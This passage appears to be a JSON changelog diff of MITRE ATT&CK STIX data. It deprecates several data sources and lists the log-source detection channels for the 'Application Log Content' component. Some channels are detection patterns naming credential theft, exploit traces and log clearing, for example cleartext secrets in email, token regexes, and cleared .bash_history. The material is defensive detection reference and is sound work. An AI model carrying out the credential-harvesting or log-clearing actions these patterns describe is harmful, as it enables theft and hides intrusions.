"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:26:35.400000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0009", + "external_id": "DS0009" + }, + { + "source_name": "Microsoft Processes and Threads", + "description": "Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process", + "description": "Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:10:24.655000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0003", + "external_id": "DS0003" + }, + { + "source_name": "Microsoft Tasks", + "description": "Microsoft. (2018, May 31). Tasks. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/taskschd/tasks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job", + "description": "Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:05.238000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0012", + "external_id": "DS0012" + }, + { + "source_name": "FireEye PowerShell Logging", + "description": "Dunwoody, M. (2016, February 11). Greater Visibility Through PowerShell Logging. Retrieved September 28, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + }, + { + "source_name": "Microsoft AMSI", + "description": "Microsoft. (2019, April 19). Antimalware Scan Interface (AMSI). Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" + }, + { + "source_name": "Microsoft PowerShell Logging", + "description": "Microsoft. (2020, March 30). about_Logging_Windows. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Script", + "description": "A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:12:42.967000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0019", + "external_id": "DS0019" + }, + { + "source_name": "Microsoft Services", + "description": "Microsoft. (2017, March 30). Introduction to Windows Service Applications. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications" + }, + { + "source_name": "Linux Services Run Levels", + "description": "The Linux Foundation. (2006, January 11). An introduction to services, runlevels, and rc.d scripts. Retrieved September 28, 2021.", + "url": "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service", + "description": "A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:04.346000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0002", + "external_id": "DS0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account", + "description": "A profile representing a user, device, service, or application used to authenticate and access resources", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:09:38.667000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0024", + "external_id": "DS0024" + }, + { + "source_name": "Microsoft Registry", + "description": "Microsoft. (2018, May 31). Registry. Retrieved September 29, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry", + "description": "A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:40:05.783000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + } + ], + "deletions": [] + }, + "datacomponents": { + "additions": [], + "major_version_changes": [ + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.580000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0038", + "external_id": "DC0038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Log Content", + "description": "Application Log Content refers to logs generated by applications or services, providing a record of their activity. These logs may include metrics, errors, performance data, and operational alerts from web, mail, or other applications. These logs are vital for monitoring application behavior and detecting malicious activities or anomalies. Examples: \n\n- Web Application Logs: These logs include information about requests, responses, errors, and security events (e.g., unauthorized access attempts).\n- Email Application Logs: Logs contain metadata about emails sent, received, or blocked (e.g., sender/receiver addresses, message IDs).\n- SaaS Application Logs: Activity logs include user logins, configuration changes, and access to sensitive resources.\n- Cloud Application Logs: Logs detail control plane activities, including API calls, instance modifications, and network changes.\n- System/Application Monitoring Logs: Logs provide insights into application performance, errors, and anomalies.\n\nThis data component can be collected through the following measures:\n\nConfigure Application Logging\n\n- Enable logging within the application or service.\n- Examples:\n - Web Servers: Enable access and error logs in NGINX or Apache.\n - Email Systems: Enable audit logging in Microsoft Exchange or Gmail.\n\nCentralized Log Management\n\n- Use log management solutions like Splunk, or a cloud-native logging solution.\n- Configure the application to send logs to a centralized system for analysis.\n\nCloud-Specific Collection\n\n- Use services like AWS CloudWatch, Azure Monitor, or Google Cloud Operations Suite for cloud-based applications.\n- Ensure logging is enabled for all critical resources (e.g., API calls, IAM changes).\n\nSIEM Integration\n\n- Integrate application logs with a SIEM platform (e.g., Splunk, QRadar) for real-time correlation and analysis.\n- Use parsers to standardize log formats and extract key fields like timestamps, user IDs, and error codes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Log", + "channel": "None" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook errors loading or processing custom form templates" + }, + { + "name": "m365:unified", + "channel": "Unusual form activity within Outlook client, including load of non-default forms" + }, + { + "name": "saas:okta", + "channel": "Conditional Access policy rule modified or MFA requirement disabled" + }, + { + "name": "ApplicationLog:EntraIDPortal", + "channel": "DeviceRegistration events" + }, + { + "name": "ApplicationLog:Intune/MDM Logs", + "channel": "Enrollment events (e.g., MDMDeviceRegistration)" + }, + { + "name": "m365:purview", + "channel": "MailItemsAccessed & Exchange Audit" + }, + { + "name": "m365:purview", + "channel": "MailItemsAccessed, Search-Mailbox events" + }, + { + "name": "WinEventLog:Application", + "channel": "Office Add-in load errors, abnormal loading context, or unsigned add-in warnings" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed" + }, + { + "name": "Application:Mail", + "channel": "smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)" + }, + { + "name": "saas:slack", + "channel": "file_upload, message_send, message_click" + }, + { + "name": "saas:teams", + "channel": "ChatMessageSent, ChatMessageEdited, LinkClick" + }, + { + "name": "saas:gmail", + "channel": "SendEmail, OpenAttachment, ClickLink" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf, MessageSend, AttachmentPreviewed" + }, + { + "name": "WinEventLog:System", + "channel": "Changes to applicationhost.config or DLLs loaded by w3wp.exe" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=6416" + }, + { + "name": "WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational", + "channel": "Device started/installed (UMDF) GUIDs" + }, + { + "name": "linux:syslog", + "channel": "usb * new|thunderbolt|pci .* added|block.*: new .* device" + }, + { + "name": "macos:unifiedlog", + "channel": "Device attached|enumerated VID/PID" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types" + }, + { + "name": "Application:Mail", + "channel": "Inbound messages with anomalous headers, spoofed SPF/DKIM failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound email activity with suspicious domains or mismatched sender information" + }, + { + "name": "m365:unified", + "channel": "FileAccessed: Access of email attachments by Office applications" + }, + { + "name": "saas:collaboration", + "channel": "MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)" + }, + { + "name": "ApplicationLog:IIS", + "channel": "IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)" + }, + { + "name": "ApplicationLog:WebServer", + "channel": "/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors" + }, + { + "name": "macos:unifiedlog", + "channel": "App/web server logs ingested via unified logging or filebeat (nginx/apache/node)." + }, + { + "name": "ApplicationLog:Ingress", + "channel": "Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections" + }, + { + "name": "esxi:vmkernel", + "channel": "vmkernel / OpenSLP logs for malformed requests" + }, + { + "name": "networkdevice:controlplane", + "channel": "Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook rule execution failure or abnormal rule execution context" + }, + { + "name": "m365:unified", + "channel": "Creation or modification of inbox rule outside of normal user behavior" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Inbound emails containing embedded or shortened URLs" + }, + { + "name": "Application:Mail", + "channel": "Inbound emails containing hyperlinks from suspicious sources" + }, + { + "name": "macos:unifiedlog", + "channel": "Received messages with embedded or shortened URLs" + }, + { + "name": "azure:signinLogs", + "channel": "ConsentGrant: Suspicious consent grants to non-approved or unknown applications" + }, + { + "name": "m365:unified", + "channel": "AppRegistration: Unexpected application registration or OAuth authorization" + }, + { + "name": "m365:unified", + "channel": "MessageSend, MessageRead, or FileAttached events containing credential-like patterns" + }, + { + "name": "m365:exchange", + "channel": "Emails containing cleartext secrets (password=, api_key=, token=) shared across internal/external domains" + }, + { + "name": "saas:slack", + "channel": "chat.postMessage, files.upload, or discovery API calls involving token/credential regex" + }, + { + "name": "linux:syslog", + "channel": "Inbound messages from webmail services containing attachments or URLs" + }, + { + "name": "macos:unifiedlog", + "channel": "Received messages containing embedded links or attachments from non-enterprise services" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7031,7034,1000,1001" + }, + { + "name": "linux:syslog", + "channel": "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc." + }, + { + "name": "esxi:hostd", + "channel": "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log." + }, + { + "name": "macos:unifiedlog", + "channel": "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons." + }, + { + "name": "esxi:hostd", + "channel": "unexpected script/command invocations via hostd" + }, + { + "name": "linux:syslog", + "channel": "System daemons initiating encrypted sessions with unexpected destinations" + }, + { + "name": "esxi:vpxd", + "channel": "Symmetric crypto routines triggered for external session" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendEmail" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeModel" + }, + { + "name": "saas:openai", + "channel": "High volume of requests to /v1/chat/completions or /v1/images/generations" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Add-InboxRule, RegisterWebhook" + }, + { + "name": "saas:application", + "channel": "High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns." + }, + { + "name": "NSM:Connections", + "channel": "PushNotificationSent" + }, + { + "name": "saas:okta", + "channel": "MFAChallengeIssued" + }, + { + "name": "WinEventLog:Application", + "channel": "Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution" + }, + { + "name": "linux:syslog", + "channel": "milter configuration updated, transport rule initialized, unexpected script execution" + }, + { + "name": "WinEventLog:Application", + "channel": "Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs" + }, + { + "name": "linux:syslog", + "channel": "Repetitive HTTP 408, 500, or 503 errors logged within short timeframe" + }, + { + "name": "macos:unifiedlog", + "channel": "opendirectoryd crashes or abnormal authentication errors" + }, + { + "name": "m365:unified", + "channel": "ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA" + }, + { + "name": "WinEventLog:Application", + "channel": "Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events" + }, + { + "name": "linux:syslog", + "channel": "Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads" + }, + { + "name": "macos:unifiedlog", + "channel": "Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches" + }, + { + "name": "m365:unified", + "channel": "Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook logs indicating failure to load or render HTML page in Home Page view" + }, + { + "name": "m365:unified", + "channel": "Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=1102" + }, + { + "name": "linux:cli", + "channel": "cleared or truncated .bash_history" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream cleared or truncated" + }, + { + "name": "m365:unified", + "channel": "PurgeAuditLogs, Remove-MailboxAuditLog" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=104" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000-1026" + }, + { + "name": "EDR:detection", + "channel": "ThreatDetected, QuarantineLog" + }, + { + "name": "macos:unifiedlog", + "channel": "quarantine or AV-related subsystem" + }, + { + "name": "EDR:detection", + "channel": "ThreatLog" + }, + { + "name": "azure:signinlogs", + "channel": "Modify Conditional Access Policy" + }, + { + "name": "m365:unified", + "channel": "Set-CsOnlineUser or UpdateAuthPolicy" + }, + { + "name": "m365:unified", + "channel": "New-InboxRule or Set-InboxRule events recorded in Exchange Online" + }, + { + "name": "ApplicationLog:MailServer", + "channel": "Unexpected additions of sieve rules or filtering directives" + }, + { + "name": "m365:unified", + "channel": "Transport rule or inbox rule creation events" + }, + { + "name": "ApplicationLog:Outlook", + "channel": "Outlook client-level rule creation actions not consistent with normal user activity" + }, + { + "name": "kubernetes:orchestrator", + "channel": "Access to orchestrator logs containing credentials (Docker/Kubernetes logs)" + }, + { + "name": "WinEventLog:Application", + "channel": "Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)" + }, + { + "name": "journald:systemd", + "channel": "Repeated service restart attempts or unit failures" + }, + { + "name": "macos:unifiedlog", + "channel": "Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console" + }, + { + "name": "docker:events", + "channel": "Container exited with non-zero code repeatedly in short period" + }, + { + "name": "WinEventLog:Application", + "channel": "SCCM, Intune logs" + }, + { + "name": "macos:jamf", + "channel": "RemoteCommandExecution" + }, + { + "name": "networkdevice:syslog", + "channel": "config push events" + }, + { + "name": "linux:syslog", + "channel": "processes binding to non-standard ports or sshd configured on unexpected port" + }, + { + "name": "m365:unified", + "channel": "GAL Lookup or Address Book download" + }, + { + "name": "esxi:hostd", + "channel": "Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Inbound emails with attachments from suspicious or spoofed senders" + }, + { + "name": "Application:Mail", + "channel": "Inbound email attachments logged from MTAs with suspicious metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Inbound messages with attachments from suspicious domains" + }, + { + "name": "WinEventLog:Application", + "channel": "Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files" + }, + { + "name": "m365:unified", + "channel": "certificate added or modified in application credentials" + }, + { + "name": "saas:Snowflake", + "channel": "QUERY: Large or repeated SELECT * queries to sensitive tables" + }, + { + "name": "saas:Airtable", + "channel": "EXPORT: User-triggered data export via GUI or API" + }, + { + "name": "ApplicationLog:CallRecords", + "channel": "Outbound or inbound calls to high-risk or blocklisted numbers" + }, + { + "name": "networkdevice:syslog", + "channel": "SIP REGISTER, INVITE, or unusual call destination metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Outgoing or incoming calls with non-standard caller IDs or unusual metadata" + }, + { + "name": "m365:unified", + "channel": "Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call" + }, + { + "name": "docker:daemon", + "channel": "container_create,container_start" + }, + { + "name": "saas:github", + "channel": "Bulk access to multiple files or large volume of repo requests within short time window" + }, + { + "name": "m365:exchange", + "channel": "Transport Rule Modification" + }, + { + "name": "m365:exchange", + "channel": "Admin Audit Logs, Transport Rules" + }, + { + "name": "saas:application", + "channel": "High-volume API calls or traffic via messaging or webhook service" + }, + { + "name": "m365:unified", + "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider" + }, + { + "name": "linux:syslog", + "channel": "system daemons initiating TLS sessions outside expected services" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership" + }, + { + "name": "Application:Mail", + "channel": "Mismatch between authenticated username and From header in email" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail.app or third-party clients sending messages with mismatched From headers" + }, + { + "name": "gcp:workspaceaudit", + "channel": "SendAs: Outbound messages with alias identities that differ from primary account" + }, + { + "name": "m365:unified", + "channel": "Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies" + }, + { + "name": "m365:unified", + "channel": "SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000" + }, + { + "name": "linux:syslog", + "channel": "browser/office crash, segfault, abnormal termination" + }, + { + "name": "macos:unifiedlog", + "channel": "process crash, abort, code signing violations" + }, + { + "name": "saas:okta", + "channel": "WebUI access to administrator dashboard" + }, + { + "name": "m365:unified", + "channel": "Read-only configuration review from GUI" + }, + { + "name": "saas:box", + "channel": "User navigated to admin interface" + }, + { + "name": "azure:signinlogs", + "channel": "Register PTA Agent or Modify AD FS trust" + }, + { + "name": "m365:unified", + "channel": "Modify Federation Settings or Update Authentication Policy" + }, + { + "name": "saas:okta", + "channel": "Federation configuration update or signing certificate change" + }, + { + "name": "macos:unifiedlog", + "channel": "Configuration profile modified or new profile installed" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000, 1001, 1002" + }, + { + "name": "journald:Application", + "channel": "Segfault or crash log entry associated with specific application binary" + }, + { + "name": "macos:unifiedlog", + "channel": "Crash log entries for a process receiving malformed input or known exploit patterns" + }, + { + "name": "AWS:CloudWatch", + "channel": "Repeated crash pattern within container or instance logs" + }, + { + "name": "esxi:hostd", + "channel": "unexpected script invocations producing long encoded strings" + }, + { + "name": "docker:runtime", + "channel": "execution of cloud CLI tool (e.g., aws, az) inside container" + }, + { + "name": "WinEventLog:Application", + "channel": "VPN, Citrix, or remote access gateway logs showing external IP addresses" + }, + { + "name": "NSM:Connections", + "channel": "Failed password or accepted password for SSH users" + }, + { + "name": "ApplicationLog:API", + "channel": "Docker/Kubernetes API access from external sources" + }, + { + "name": "m365:unified", + "channel": "Send/Receive: Unusual spikes in inbound messages to a single recipient" + }, + { + "name": "Application:Mail", + "channel": "High-frequency inbound mail activity to a specific recipient address" + }, + { + "name": "m365:exchange", + "channel": "MailDelivery: High-frequency delivery of messages or attachments to a single recipient" + }, + { + "name": "macos:unifiedlog", + "channel": "Repetitive inbound email delivery activity logged within a short time window" + }, + { + "name": "saas:confluence", + "channel": "access.content" + }, + { + "name": "m365:unified", + "channel": "PowerShell: Add-MailboxPermission" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows" + }, + { + "name": "m365:exchange", + "channel": "New-InboxRule: Automation that triggers abnormal forwarding or external link generation" + }, + { + "name": "saas:googledrive", + "channel": "FileOpen / FileAccess: Event-driven script triggering on user file actions" + }, + { + "name": "networkdevice:syslog", + "channel": "Failed authentication requests redirected to non-standard portals" + }, + { + "name": "saas:okta", + "channel": "System API Call: user.read, group.read" + }, + { + "name": "esxi:hostd", + "channel": "Host daemon command log entries related to vib enumeration" + }, + { + "name": "m365:unified", + "channel": "Add-MailboxPermission or Set-ManagementRoleAssignment" + }, + { + "name": "WinEventLog:Application", + "channel": "Outlook rule creation, form load, or homepage redirection" + }, + { + "name": "m365:mailboxaudit", + "channel": "Outlook rule creation or custom form deployment" + }, + { + "name": "saas:zoom", + "channel": "unusual web session tokens and automation patterns during login" + }, + { + "name": "WinEventLog:Application", + "channel": "High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)" + }, + { + "name": "linux:syslog", + "channel": "Error/warning logs from services indicating load spike or worker exhaustion" + }, + { + "name": "macos:unifiedlog", + "channel": "Application errors or resource contention from excessive frontend or script invocation" + }, + { + "name": "AWS:CloudWatch", + "channel": "Elevated 5xx response rates in application logs or gateway layer" + }, + { + "name": "m365:messagetrace", + "channel": "AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail" + }, + { + "name": "linux:syslog", + "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain" + }, + { + "name": "macos:unifiedlog", + "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains" + }, + { + "name": "saas:email", + "channel": "AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=1341,1342,1020,1063" + }, + { + "name": "linux:syslog", + "channel": "suspicious DHCP lease assignment with unexpected DNS or gateway" + }, + { + "name": "macos:unifiedlog", + "channel": "new DHCP configuration with anomalous DNS or router values" + }, + { + "name": "WinEventLog:Application", + "channel": "Exchange logs or header artifacts" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail or AppleScript subsystem" + }, + { + "name": "m365:exchange", + "channel": "MessageTrace logs" + }, + { + "name": "WinEventLog:Application", + "channel": "EventCode=1000,1001" + }, + { + "name": "linux:syslog", + "channel": "opened document|clicked link|segfault|abnormal termination|sandbox" + }, + { + "name": "macos:unifiedlog", + "channel": "opened document|clicked 